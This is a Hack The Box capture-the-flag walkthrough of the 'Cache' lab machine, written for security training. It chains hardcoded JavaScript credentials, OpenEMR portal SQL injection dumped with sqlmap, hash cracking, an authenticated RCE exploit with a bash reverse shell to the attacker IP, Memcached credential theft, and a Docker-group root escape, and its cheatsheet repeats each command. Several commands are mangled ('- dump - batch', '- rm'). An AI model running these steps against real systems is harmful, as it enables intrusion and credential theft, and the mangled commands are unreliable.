Hack The Box

Hack The Box: Cache Walkthrough

Cache chains client-side credential disclosure, an OpenEMR flaw, Memcached credentials, and Docker group membership.

Cache Hack The Box machine artwork
Official Hack The Box machine artwork for Cache.Hack The Box machine page opens in a new tab

We start with hardcoded credentials buried in a JavaScript file, pivot through a vulnerable OpenEMR patient portal, dump admin hashes with sqlmap, crack our way into an authenticated RCE, harvest credentials from an unauthenticated Memcached instance, and finally escape to root through the docker group.

Machine Overview

Name: Cache
OS: Linux (Ubuntu 18.04-era)
Difficulty: Medium
IP: 10.129.5.28
Attacker IP: 10.10.16.84

Attack Chain at a Glance:

Hardcoded JS creds on cache.htb (ash:H@v3_fun)
-> discover HMS virtual host (hms.htb)
-> OpenEMR 5.0.1 patient portal auth bypass
-> error-based SQL injection via add_edit_event_user.php
-> sqlmap dumps admin bcrypt hash
-> john cracks hash (xxxxxx)
-> authenticated OpenEMR RCE via 45161.py
-> shell as www-data
-> su to ash via password reuse
-> local Memcached on 11211 caches luffy:0n3_p1ec3
-> luffy is in docker group
-> docker run mounts host root -> root.txt

The Mindset Before the Shell

Before running any commands, keep these principles in mind:

1. Client-side code is ground truth. The server cannot hide what it sends to the browser. read source and JavaScript.
2. Anticipate virtual hosts. Modern web servers often host multiple applications behind different Host headers.
3. Fingerprint versions early. Knowing the exact software version turns blind fuzzing into targeted exploitation.
4. Side doors matter. Patient portals, APIs, and secondary interfaces often have weaker access control than the main admin panel.
5. Local services are soft targets. Memcached, Redis, and similar tools often ship without authentication.
6. Docker group equals root. If a user is in the docker group, you are usually one command away from a root shell.

Phase 1: Initial Enumeration

We add the host entries first. This is a lab environment, so no public DNS resolves cache.htb or hms.htb for us.

Echo "10.129.5.28 cache.htb hms.htb" | sudo tee -a /etc/hosts

Then we scan the target with the standard Nmap script and version combo:

Nmap -sC -sV -T4 10.129.5.28

The output is clean and minimal:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))

Only SSH and HTTP. No SMB, no FTP, no high ports. The path in is almost certainly through the web application.

HackTheBox “Cache” Walkthrough, figure 2

Phase 2: Web Discovery on cache.htb

We visit http://cache.htb (lab-only address) and see a hacking-themed site with a login button. The rendered page does not give much away, so we look at the source and linked JavaScript files.

HackTheBox “Cache” Walkthrough, figure 3

Curl -s http://cache.htb/jquery/functionality.js (lab-only address)

Inside, we find the login logic implemented entirely client-side:

Function checkCorrectPassword(){
 var Password = $("#password").val();
 if(Password!= 'H@v3_fun'){
 alert("Password didn't Match");
 error_correctPassword = true;
 }
}
function checkCorrectUsername(){
 var Username = $("#username").val();
 if(Username!= "ash"){
 alert("Username didn't Match");
 error_username = true;
 }
}

The credentials are hardcoded: ash:H@v3_fun. Client-side authentication is not authentication. It is a suggestion at best.

HackTheBox “Cache” Walkthrough, figure 4

After logging in, the site shows an under construction page. Manual browsing leads us to:

Http://cache.htb/author.html (lab-only address)

ASH's bio mentions another project: Cache HMS (Hospital Management System). This is our breadcrumb to a second application.

HackTheBox “Cache” Walkthrough, figure 5

And the below is the cache.htb/author.

HackTheBox “Cache” Walkthrough, figure 6

Phase 3: Virtual Host Discovery (hms.htb)

Because we already added hms.htb to /etc/hosts, we visit it directly.

Http://hms.htb (lab-only address)

HackTheBox “Cache” Walkthrough, figure 7

It redirects to an OpenEMR login page:

Http://hms.htb/interface/login/login.php?site=default (lab-only address)

OpenEMR is a large, complex PHP health records application. Identifying the exact product immediately tells us to hunt for version-specific CVEs.

Phase 4: OpenEMR Enumeration & Version Identification

We fingerprint the version by checking admin.php and the login page footer, which references 2018. OpenEMR 5.0.1 was released in April 2018, so we target that version.

Curl -s http://hms.htb/admin.php (lab-only address) | grep -i "version\|openemr"

HackTheBox “Cache” Walkthrough, figure 8

A quick searchsploit search confirms the target-rich environment:

Searchsploit openemr

Key findings:
- OpenEMR < 5.0.1 - (Authenticated) Remote Code Execution (45161.py)
- OpenEMR 5.0.1.3 - (Authenticated) Arbitrary File Actions (45202.txt)

Both are authenticated. We need admin credentials first. The patient portal at /portal/ is the weaker side door.

HackTheBox “Cache” Walkthrough, figure 9

Phase 5: Authentication Bypass & SQL Injection

Visit the patient portal:

Http://hms.htb/portal/ (lab-only address)

HackTheBox “Cache” Walkthrough, figure 10

Instead of registering or logging in, we visit a page that should require authentication directly:

Http://hms.htb/portal/add_edit_event_user.php?eid=1 (lab-only address)

The portal grants a PHPSESSID session cookie from simply visiting the registration page, and certain endpoints treat that cookie as proof of authentication. A logic flaw becomes our bypass.

To confirm SQL injection, we append a single quote:

Http://hms.htb/portal/add_edit_event_user.php?eid=1' (lab-only address)

The response leaks a MySQL syntax error and the exact query:

Query Error
ERROR: query failed: SELECT pc_facility, pc_multiple, pc_aid, facility.name
FROM openemr_postcalendar_events
LEFT JOIN facility ON (openemr_postcalendar_events.pc_facility = facility.id)
WHERE pc_eid = 1'

Phase 6: Credential Extraction with sqlmap

We grab a valid session cookie and build a request file for sqlmap.

Curl -s -c cookies.txt -b cookies.txt "http://hms.htb/portal/account/register.php (lab-only address)"

Cat > openemr.req << 'EOF'
GET /portal/add_edit_event_user.php?eid=1 HTTP/1.1
Host: hms.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
EOF

Echo "Cookie: $(grep -E 'OpenEMR|PHPSESSID' cookies.txt | awk '{print $6"="$7}' | tr '\n' '; ' | sed 's/; $//')" >> openemr.req

Then we dump the users_secure table:

Sqlmap -r openemr.req -D openemr -T users_secure - dump - batch

Output:

Database: openemr
Table: users_secure
[1 entry]
+ - - + - - - - - - - - - - - - - - - - + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + - - - - - - - -+
| id | salt | password | username |
+ - - + - - - - - - - - - - - - - - - - + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + - - - - - - - -+
| 1 | $2a$05$l2sTLIG6GTBeyBf7TAKL6A$ | $2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B. | openemr_admin |
+ - - + - - - - - - - - - - - - - - - - + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + - - - - - - - -+

We now have the admin username and a bcrypt hash.

┌──(kali㉿kali)-[~/Downloads/OSWE-Prep]
└─$ curl -s -c cookies.txt -b cookies.txt "http://hms.htb/portal/account/register.php"
[Full HTML response omitted after editorial review; the command and subsequent output are preserved.]
                                                                                                                                                                                       
┌──(kali㉿kali)-[~/Downloads/OSWE-Prep]
└─$ cat > openemr.req << 'EOF'GET /portal/add_edit_event_user.php?eid=1 HTTP/1.1Host: hms.htbUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1EOF                                                                                                                                                                                       
┌──(kali㉿kali)-[~/Downloads/OSWE-Prep]
└─$ echo "Cookie: $(grep -E 'OpenEMR|PHPSESSID' cookies.txt | awk '{print $6"="$7}' | tr '\n' '; ' | sed 's/; $//')" >> openemr.req
┌──(kali㉿kali)-[~/Downloads/OSWE-Prep]
└─$ sqlmap -r openemr.req --flush-session -D openemr -T users_secure --dump --batch        ___       __H__ ___ ___[)]_____ ___ ___  {1.10.4#stable}|_ -| . [(]     | .'| . ||___|_  [)]_|_|_|__,|  _|      |_|V...       |_|   https://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 05:47:49 /2026-06-17/[05:47:49] 
[INFO] parsing HTTP request from 'openemr.req'[05:47:49] 
[INFO] testing connection to the target URL[05:47:50] 
[WARNING] there is a DBMS error found in the HTTP response body which could interfere with the results of the tests[05:47:50] 
[INFO] checking if the target is protected by some kind of WAF/IPS[05:47:50] 
[INFO] testing if the target URL content is stable[05:47:51] 
[INFO] target URL content is stable[05:47:51] 
[INFO] testing if GET parameter 'eid' is dynamic[05:47:51] 
[WARNING] GET parameter 'eid' does not appear to be dynamic[05:47:52] 
[INFO] heuristic (basic) test shows that GET parameter 'eid' might be injectable (possible DBMS: 'MySQL')[05:47:53] 
[INFO] testing for SQL injection on GET parameter 'eid'it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Yfor the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y[05:47:53] 
[INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'[05:47:54] 
[WARNING] reflective value(s) found and filtering out[05:47:59] 
[INFO] testing 'Boolean-based blind - Parameter replace (original value)'[05:48:00] 
[INFO] GET parameter 'eid' appears to be 'Boolean-based blind - Parameter replace (original value)' injectable (with --not-string="row")[05:48:00] 
[INFO] testing 'Generic inline queries'[05:48:01] 
[INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'[05:48:02] 
[INFO] GET parameter 'eid' is 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' injectable [05:48:02] 
[INFO] testing 'MySQL inline queries'[05:48:02] 
[INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'[05:48:02] 
[WARNING] time-based comparison requires larger statistical model, please wait........... (done)                                                                           [05:48:09] 
[INFO] testing 'MySQL >= 5.0.12 stacked queries'[05:48:09] 
[INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'[05:48:10] 
[INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'[05:48:11] 
[INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'[05:48:11] 
[INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'[05:48:12] 
[INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'[05:48:23] 
[INFO] GET parameter 'eid' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable [05:48:23] 
[INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'[05:48:23] 
[INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found[05:48:24] 
[INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test[05:48:27] 
[INFO] target URL appears to have 4 columns in query[05:48:28] 
[INFO] GET parameter 'eid' is 'Generic UNION query (NULL) - 1 to 20 columns' injectableGET parameter 'eid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] Nsqlmap identified the following injection point(s) with a total of 45 HTTP(s) requests:---Parameter: eid (GET)    Type: boolean-based blind    Title: Boolean-based blind - Parameter replace (original value)    Payload: eid=(SELECT (CASE WHEN (4361=4361) THEN 1 ELSE (SELECT 6857 UNION SELECT 5313) END))    Type: error-based    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)    Payload: eid=1 AND EXTRACTVALUE(6303,CONCAT(0x5c,0x71706b7171,(SELECT (ELT(6303=6303,1))),0x716a787a71))    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: eid=1 AND (SELECT 8380 FROM (SELECT(SLEEP(5)))HEtH)    Type: UNION query    Title: Generic UNION query (NULL) - 4 columns    Payload: eid=1 UNION ALL SELECT NULL,NULL,CONCAT(0x71706b7171,0x6d414c6f6945757153417058755853736665516f6e6d786270626c4e556c694c4f67705275474542,0x716a787a71),NULL-- ----[05:48:28] 
[INFO] the back-end DBMS is MySQLweb server operating system: Linux Ubuntu 18.04 (bionic)web application technology: Apache 2.4.29back-end DBMS: MySQL >= 5.1[05:48:33] 
[INFO] fetching columns for table 'users_secure' in database 'openemr'[05:48:34] 
[INFO] fetching entries for table 'users_secure' in database 'openemr'
Database: openemr
Table: users_secure[1 entry]+----+--------------------------------+--------------------------------------------------------------+---------------+---------------------+---------------+---------------+-------------------+-------------------+| id | salt                           | password                                                     | username      | last_update         | salt_history1 | salt_history2 | password_history1 | password_history2 |+----+--------------------------------+--------------------------------------------------------------+---------------+---------------------+---------------+---------------+-------------------+-------------------+| 1  | $2a$05$l2sTLIG6GTBeyBf7TAKL6A$ | $2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B. | openemr_admin | 2019-11-21 06:38:40 | NULL          | NULL          | NULL              | NULL              |+----+--------------------------------+--------------------------------------------------------------+---------------+---------------------+---------------+---------------+-------------------+-------------------+[05:48:35] 
[INFO] table 'openemr.users_secure' dumped to CSV file '/home/kali/.local/share/sqlmap/output/hms.htb/dump/openemr/users_secure.csv'[05:48:35] 
[INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/hms.htb'
[*] ending @ 05:48:35 /2026-06-17/
HackTheBox “Cache” Walkthrough, figure 11

Phase 7: Hash Cracking

We save the hash and crack it with John the Ripper using rockyou.txt.

Echo '$2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B.' > hash.txt
john - wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Result:

Xxxxxx (?)

The password is extremely weak. Even bcrypt's slowness cannot protect a six-character common password.

Final OpenEMR credentials:
- Username: openemr_admin
- Password: xxxxxx

HackTheBox “Cache” Walkthrough, figure 12

Phase 8: Authenticated Remote Code Execution

We fetch the authenticated RCE exploit:

Searchsploit -m php/webapps/45161.py

The exploit authenticates as openemr_admin, abuses a template import file-write flaw to drop a PHP web shell, then triggers it.

The exploit is written for Python 2, so we fix a bytes/string issue in Python 3:

Sed -i 's/base64.b64encode(args.cmd)/base64.b64encode(args.cmd.encode()).decode()/g' 45161.py

HackTheBox “Cache” Walkthrough, figure 13

Start a listener:

Nc -lvnp 9001

Run the exploit with a bash reverse shell:

Python 45161.py -u openemr_admin -p xxxxxx -c "bash -i >& /dev/tcp/10.10.16.84/9001 0>&1" http://hms.htb (lab-only address)

HackTheBox “Cache” Walkthrough, figure 14

We catch the shell:

Connect to [10.10.16.84] from (UNKNOWN) [10.129.5.28] 44898
bash: cannot set terminal process group (1997): Inappropriate ioctl for device
bash: no job control in this shell
www-data@cache:/var/www/hms.htb/public_html/interface/main$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Upgrade to a proper TTY:

Python3 -c 'import pty; pty.spawn("/bin/bash")'

HackTheBox “Cache” Walkthrough, figure 15

Phase 9: User Flag (www-data to ash)

We already have ash's password from the JavaScript login: H@v3_fun. Password reuse is human nature.

Su ash
cd ~
cat user.txt

HackTheBox “Cache” Walkthrough, figure 16

Phase 10: Privilege Escalation Enumeration

We check local services and spot something interesting:

Netstat -antp | grep 11211

Tcp 0 0 127.0.0.1:11211 0.0.0.0:* LISTEN -

Port 11211 is Memcached. Given the box name is Cache, this is clearly part of the privilege escalation chain. Memcached stores key-value pairs in RAM and typically ships with no authentication.

HackTheBox “Cache” Walkthrough, figure 17

Phase 11: Memcached Credential Harvesting

We dump the cached keys from slab 1:

Echo "stats cachedump 1 0" | nc -q 1 127.0.0.1 11211

Output:

ITEM link [21 b; 0 s]
ITEM user [5 b; 0 s]
ITEM passwd [9 b; 0 s]
ITEM file [7 b; 0 s]
ITEM account [9 b; 0 s]
END

HackTheBox “Cache” Walkthrough, figure 18

The keys are literally named user and passwd. We retrieve them:

Echo "get user" | nc -q 1 127.0.0.1 11211
echo "get passwd" | nc -q 1 127.0.0.1 11211
echo "get account" | nc -q 1 127.0.0.1 11211

Output:

VALUE user 0 5
luffy
END

VALUE passwd 0 9
0n3_p1ec3
END

VALUE account 0 9
afhj556uo
END

New credentials: luffy:0n3_p1ec3

HackTheBox “Cache” Walkthrough, figure 19

Phase 12: Docker Group Privilege Escalation to Root

We switch to luffy:

Su luffy
id

Output:

Uid=1001(luffy) gid=1001(luffy) groups=1001(luffy),999(docker)

HackTheBox “Cache” Walkthrough, figure 20

Luffy is in the docker group. On most Linux systems, that is root-equivalent. We check available images:

Docker images

Output:

REPOSITORY TAG IMAGE ID CREATED SIZE
ubuntu latest 2ca708c1c9cc 6 years ago 64.2MB

HackTheBox “Cache” Walkthrough, figure 21

There is no internet to pull alpine, but ubuntu is cached locally. We adapt the classic payload:

Docker run -v /:/mnt - rm -it ubuntu chroot /mnt sh

Breakdown:
- docker run: create and start a container
- -v /:/mnt: mount the host's root filesystem to /mnt inside the container
- - rm: delete the container on exit
- -it: interactive terminal
- ubuntu: use the locally cached Ubuntu image
- chroot /mnt sh: change root to the mounted host filesystem and run a shell

Result:

# id
uid=0(root) gid=0(root) groups=0(root)

# cat /root/root.txt

HackTheBox “Cache” Walkthrough, figure 22

Review notes

1. Client-side validation is not validation. Credentials in JavaScript are free wins.
2. Virtual hosts hide entire applications. Check for subdomains and vhosts.
3. Version fingerprinting saves time. Knowing the exact software version lets you find targeted exploits immediately.
4. Side doors matter. The patient portal had weaker security than the main admin panel.
5. Sqlmap is your friend. Don't hand-craft UNION queries when a tool can do it perfectly.
6. Password reuse is human nature. Test every credential everywhere.
7. Local services are soft targets. Memcached, Redis, and similar services often lack authentication.
8. The docker group is root. Check groups output. If you see docker, you are probably one command away from root.

Commands Cheatsheet

Host entries:
echo "10.129.5.28 cache.htb hms.htb" | sudo tee -a /etc/hosts

Port scan:
nmap -sC -sV -T4 10.129.5.28

Find hardcoded creds:
curl -s http://cache.htb/jquery/functionality.js (lab-only address)

Discover HMS vhost:
http://hms.htb/interface/login/login.php?site=default (lab-only address)

OpenEMR version fingerprint:
curl -s http://hms.htb/admin.php (lab-only address) | grep -i "version\|openemr"

Search exploits:
searchsploit openemr

Patient portal auth bypass:
http://hms.htb/portal/add_edit_event_user.php?eid=1 (lab-only address)

SQL injection confirmation:
http://hms.htb/portal/add_edit_event_user.php?eid=1' (lab-only address)

Sqlmap dump:
curl -s -c cookies.txt -b cookies.txt "http://hms.htb/portal/account/register.php (lab-only address)"
# build openemr.req with cookie header
sqlmap -r openemr.req -D openemr -T users_secure - dump - batch

Hash cracking:
echo '$2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B.' > hash.txt
john - wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Authenticated RCE:
searchsploit -m php/webapps/45161.py
sed -i 's/base64.b64encode(args.cmd)/base64.b64encode(args.cmd.encode()).decode()/g' 45161.py
nc -lvnp 9001
python 45161.py -u openemr_admin -p xxxxxx -c "bash -i >& /dev/tcp/10.10.16.84/9001 0>&1" http://hms.htb (lab-only address)

TTY upgrade:
python3 -c 'import pty; pty.spawn("/bin/bash")'

User flag:
su ash
# password: H@v3_fun
cat ~/user.txt

Memcached enumeration:
netstat -antp | grep 11211
echo "stats cachedump 1 0" | nc -q 1 127.0.0.1 11211
echo "get user" | nc -q 1 127.0.0.1 11211
echo "get passwd" | nc -q 1 127.0.0.1 11211

Docker escape to root:
su luffy
# password: 0n3_p1ec3
docker images
docker run -v /:/mnt - rm -it ubuntu chroot /mnt sh
cat /root/root.txt

What the chain shows

The route depends on several smaller weaknesses: exposed client-side credentials, a virtual host, the patient portal flaw, unauthenticated Memcached, and Docker group membership. Together they provide a direct path from anonymous access to root.

Further reading

Evidence connected to this article.

Back to article start